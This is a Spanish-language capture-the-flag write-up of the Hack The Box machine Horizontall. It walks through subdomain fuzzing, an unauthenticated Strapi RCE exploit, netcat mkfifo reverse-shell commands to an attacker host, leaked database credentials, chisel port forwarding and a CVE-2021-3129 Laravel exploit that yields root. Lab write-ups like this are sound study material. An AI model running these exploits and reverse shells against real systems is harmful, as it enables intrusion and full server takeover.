Entrada

Horizontall

Horizontall

Skills

  • Information Leakage
  • Port Forwarding
  • Strapi CMS Exploitation
  • Laravel Exploitation

Certificaciones

  • eWPT
  • eJPT

Descripción

Horizontall es una máquina easy linux donde estaremos vulnerando la máquina a través de su api de strapi, listaremos sus subdominios y explotaremos una versión antigua desactualizada de strapi accediendo a la máquina víctima. Una vez dentro realizaremos un remote port forwarding y explotaremos el CVE-2021-3129 obteniendo así el usuario root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.95.96
PING 10.129.95.96 (10.129.95.96) 56(84) bytes of data.
64 bytes from 10.129.95.96: icmp_seq=1 ttl=63 time=47.7 ms
64 bytes from 10.129.95.96: icmp_seq=2 ttl=63 time=37.7 ms
^C
--- 10.129.95.96 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 37.662/42.667/47.672/5.005 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.96 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 15:09 CEST
Initiating SYN Stealth Scan at 15:09
Scanning 10.129.95.96 [65535 ports]
Discovered open port 22/tcp on 10.129.95.96
Discovered open port 80/tcp on 10.129.95.96
Completed SYN Stealth Scan at 15:09, 11.13s elapsed (65535 total ports)
Nmap scan report for 10.129.95.96
Host is up (0.093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.29 seconds
           Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p 22,80 10.129.95.96 -oN services                                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 15:11 CEST
Nmap scan report for 10.129.95.96
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.79 seconds

Web Enumeration

Nos dirigimos a la página web y se visualiza lo siguiente:

Abrimos el /etc/hosts y añadimos el dominio horizontall.htb, debemos hacer esto debido a que estamos ante un virtual hosting

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.95.96    horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Ahora al acceder a la página web nos encontramos lo siguiente

Debido a que en la página web no hay nada que nos llame la atención vamos a fuzzear en busca de subdominios

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wfuzz -c -t 200 --hc 404 --hh 194 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.horizontall.htb' http://horizontall.htb    
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                                                                                                 
000047093:   200        19 L     33 W       413 Ch      "api-prod"  

Los subdominios encontrados los añadimos al /etc/hosts

1
2
3
4
5
6
7
8
27.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.95.96    api-prod.horizontall.htb www.horizontall.htb horizontall.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

En principio www.horizontall.htb nos muestra el mismo contenido que horizontall.htb, sin embargo cuando accedemos a api-prod.horizontal.htb nos muestra esto

Fuzzeamos api-prod.horizontal.htb en busca de nuevas rutas y nos encontramos users,reviewsy admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# wfuzz -c -t 200 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://api-prod.horizontall.htb/FUZZ 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://api-prod.horizontall.htb/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000014:   200        19 L     33 W       413 Ch      "http://api-prod.horizontall.htb/"                                                                                    
000000011:   200        19 L     33 W       413 Ch      "# Priority ordered case-sensitive list, where entries were found"                                                    
000000007:   200        19 L     33 W       413 Ch      "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                     
000000003:   200        19 L     33 W       413 Ch      "# Copyright 2007 James Fisher"                                                                                       
000000012:   200        19 L     33 W       413 Ch      "# on at least 2 different hosts"                                                                                     
000000013:   200        19 L     33 W       413 Ch      "#"                                                                                                                   
000000001:   200        19 L     33 W       413 Ch      "# directory-list-2.3-medium.txt"                                                                                     
000000010:   200        19 L     33 W       413 Ch      "#"                                                                                                                   
000000008:   200        19 L     33 W       413 Ch      "# or send a letter to Creative Commons, 171 Second Street,"                                                          
000000004:   200        19 L     33 W       413 Ch      "#"                                                                                                                   
000000006:   200        19 L     33 W       413 Ch      "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                       
000000005:   200        19 L     33 W       413 Ch      "# This work is licensed under the Creative Commons"                                                                  
000000002:   200        19 L     33 W       413 Ch      "#"                                                                                                                   
000000009:   200        19 L     33 W       413 Ch      "# Suite 300, San Francisco, California, 94105, USA."                                                                 
000000202:   403        0 L      1 W        60 Ch       "users"                                                                                                               
000000137:   200        0 L      21 W       507 Ch      "reviews"                                                                                                             
000003701:   403        0 L      1 W        60 Ch       "Users"                                                                                                               
000006098:   200        16 L     101 W      854 Ch      "Admin"                                                                                                               
000029309:   200        0 L      21 W       507 Ch      "REVIEWS"                                                                                                             
000001609:   200        0 L      21 W       507 Ch      "Reviews"                                                                                                             
000000259:   200        16 L     101 W      854 Ch      "admin"                                                                                                               
000045240:   200        19 L     33 W       413 Ch      "http://api-prod.horizontall.htb/"                                                                                    
000064268:   400        0 L      4 W        69 Ch       "%C0"    

En api-prod.horizontall.htb/users nos encontramos esto

En api-prod.horizontall.htb/reviews nos encontramos esto

En api-prod.horizontall.htb/admin nos encontramos esto

Si usamos wappalyzer para ver con que está creada la web podemos ver que está usando un cms llamado strapi

Fuzzeamos en busca de nuevas rutas, para saber la version del cms strapi, podemos utilizar la api de strapi que se aloja en /init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# wfuzz -c -t 200 --hc 404 --hh 854 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://api-prod.horizontall.htb/admin/FUZZ  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://api-prod.horizontall.htb/admin/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000000664:   200        0 L      1 W        90 Ch       "layout"                                                                                                              
000000519:   403        0 L      1 W        60 Ch       "plugins"                                                                                                             
000007404:   200        0 L      1 W        144 Ch      "init"                                                                                                                
000010316:   403        0 L      1 W        60 Ch       "Plugins"                                                                                                             
000034632:   200        0 L      1 W        90 Ch       "Layout"                                                                                                              
000070792:   200        0 L      1 W        144 Ch      "Init"    

Al acceder a api-prod.horizontall.htb/admin/init podemos ver la versión de strapi

Intrusión

Ahora que tenemos la versión podemos usar searchploit para ver si existe algún exploit para esta versión de strapi, efectivamente existen varios exploits para esta versión

1
2
3
4
5
6
7
8
9
10
# searchsploit strapi 
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                       |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                                                                                                   | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)                                                                                 | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)                                                                           | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)                                                                             | nodejs/webapps/50716.rb
----------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nos descargamos el exploit

1
# searchsploit -m multiple/webapps/50239.py

Ejecutamos el exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python3 50239.py http://api-prod.horizontall.htb 
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE5NjcwMTYwLCJleHAiOjE3MjIyNjIxNjB9.ivf2fe4XqiwXdBhYFi1f0FtvhVuAQ2475eyuJCVhwUw


$> ping 10.10.16.8
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output 

Nos ponemos en escucha en espera de trazas icmp y efectivamente tenemos un RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# sudo tcpdump -i tun0 icmp                
[sudo] password for justice-reaper: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:10:09.152890 IP api-prod.horizontall.htb > 10.10.16.8: ICMP echo request, id 4371, seq 1, length 64
16:10:09.152933 IP 10.10.16.8 > api-prod.horizontall.htb: ICMP echo reply, id 4371, seq 1, length 64
16:10:10.154908 IP api-prod.horizontall.htb > 10.10.16.8: ICMP echo request, id 4371, seq 2, length 64
16:10:10.154946 IP 10.10.16.8 > api-prod.horizontall.htb: ICMP echo reply, id 4371, seq 2, length 64
16:10:11.156630 IP api-prod.horizontall.htb > 10.10.16.8: ICMP echo request, id 4371, seq 3, length 64
16:10:11.156651 IP 10.10.16.8 > api-prod.horizontall.htb: ICMP echo reply, id 4371, seq 3, length 64
^C
6 packets captured
6 packets received by filter
0 packets dropped by kernel

Por lo tanto vamos a mandarnos una reverse shell a nuestro equipo, lo primero es ponernos en escucha mediante netcat por el puerto 443

1
# nc -nlvp 443

Nos mandamos una reverse shell a nuestro equipo

1
2
3
$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.8 443 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

Una vez en la máquina víctima vamos a realizar un tratamiento a la TTY

1
2
3
4
5
# nc -nlvp 443 
listening on [any] 443 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.95.96] 53600
sh: 0: can't access tty; job control turned off
$ 

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Ya tenemos un consola completamente interactiva

1
2
strapi@horizontall:~/myapi$ whoami
strapi

Privilege Escalation

Inspeccionando el código me he encontrado con estas credenciales del usuario developer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
strapi@horizontall:~/myapi/config/environments/development$ cat database.json 
{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

Intentamos ver si el usuario developer utiliza las misma contraseña para su usuario en el sistema y para la base de datos. Nos damos cuenta que solo existe un usuario, y es el que nos ha creado el exploit, por lo tanto no hay nada interesante en la base de datos. Tampoco podemos reutilizar la contraseña para convertirnos en el usuario developer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
strapi@horizontall:~/myapi/config/environments/development$ su developer
Password: 
su: Authentication failure
strapi@horizontall:~/myapi/config/environments/development$ mysql -u developer
ERROR 1045 (28000): Access denied for user 'developer'@'localhost' (using password: NO)
strapi@horizontall:~/myapi/config/environments/development$ !! -p
mysql -u developer -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 23
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| strapi             |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

mysql> use strapi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------+
| Tables_in_strapi             |
+------------------------------+
| core_store                   |
| reviews                      |
| strapi_administrator         |
| upload_file                  |
| upload_file_morph            |
| users-permissions_permission |
| users-permissions_role       |
| users-permissions_user       |
+------------------------------+
8 rows in set (0.00 sec)

mysql> describe strapi_administrator;
+--------------------+--------------+------+-----+---------+----------------+
| Field              | Type         | Null | Key | Default | Extra          |
+--------------------+--------------+------+-----+---------+----------------+
| id                 | int(11)      | NO   | PRI | NULL    | auto_increment |
| username           | varchar(255) | NO   | MUL | NULL    |                |
| email              | varchar(255) | NO   |     | NULL    |                |
| password           | varchar(255) | NO   |     | NULL    |                |
| resetPasswordToken | varchar(255) | YES  |     | NULL    |                |
| blocked            | tinyint(1)   | YES  |     | NULL    |                |
+--------------------+--------------+------+-----+---------+----------------+
6 rows in set (0.00 sec)

mysql> select username,password from strapi_administrator;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2a$10$Ad/YtYwnQ9H8acqSFbf3yOvrelFhmcj9yW0u0alLAScfRb1C1s1NG |
+----------+--------------------------------------------------------------+
1 row in set (0.00 sec)

Vamos a ver los servicios internos

1
2
3
4
5
6
7
8
9
10
11
12
strapi@horizontall:/tmp/scripts$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN     
tcp        0      0 10.129.95.96:53600      10.10.16.8:443          ESTABLISHED
tcp        0    138 10.129.95.96:53612      10.10.16.8:443          ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN    

El que más me llama la atención es el que se aloja en el puerto 8000

1
strapi@horizontall:/tmp/scripts$ curl http://127.0.0.1

Al hacerle un curl, vemos que está corriendo Laravel v8 (PHP v7.4.18), al hacer una búsqueda son searchsploit nos encontramos un exploit para esta version de Laravel. Mediante remote port forwarding vamos a traernos el puerto 8000 de la máquina víctima a nuestro equipo. Lo primero que debemos hacer es descargarnos este release https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_darwin_amd64.gz

La descomprimimos

1
# gunzip chisel_1.9.1_darwin_amd64.gz

Nos ponemos en escucha con python en el mismo directorio donde se encuentra el archivo de chisel

1
# python -m http.server 80

Nos descargamos el archivo en la máquina víctima

1
# wget http://10.10.16.8/chisel_1.9.1_darwin_amd64.gz`

Desde la máquina víctima ejecutamos estas instrucciones

1
strapi@horizontall:/tmp/scripts$ ./chisel_1.9.1_linux_amd64 client 10.10.16.8:1234 R:8000:127.0.0.1:8000 

Desde nuestro equipo ejecutamos estas instrucciones

1
# ./chisel_1.9.1_linux_amd64 server -p 1234 --reverse  

Una vez ejecutados estos comandos podemos visualizar la página accediendo a http://localhost:8000/

Buscando un exploit para esta versión de laravel nos encontramos con https://github.com/nth347/CVE-2021-3129_exploit.git

Debido a que hemos hecho remote port forwarding podemos ejecutar el exploit en nuestra máquina local. Efectivamente el exploit funciona y obtenemos ejecución de comandos como usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ./exploit.py http://localhost:8000 Monolog/RCE1 id
/home/justice-reaper/.local/lib/python3.11/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
[i] Trying to clear logs
[+] Logs cleared
[i] PHPGGC not found. Cloning it
Cloning into 'phpggc'...
remote: Enumerating objects: 4239, done.
remote: Counting objects: 100% (1133/1133), done.
remote: Compressing objects: 100% (441/441), done.
remote: Total 4239 (delta 746), reused 891 (delta 666), pack-reused 3106
Receiving objects: 100% (4239/4239), 601.51 KiB | 1.63 MiB/s, done.
Resolving deltas: 100% (1859/1859), done.
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

Vamos a mandarnos una shell a nuestro equipo, lo primero nos ponemos en escucha por el puerto 443

1
# nc -nlvp 443

Nos mandamos una shell como root a nuestro equipo

1
# ./exploit.py http://localhost:8000 Monolog/RCE1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.8 443 >/tmp/f'

Efectivamente ya nos hemos convertido en usuario root

1
2
root@horizontall:/home/developer/myproject/public# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.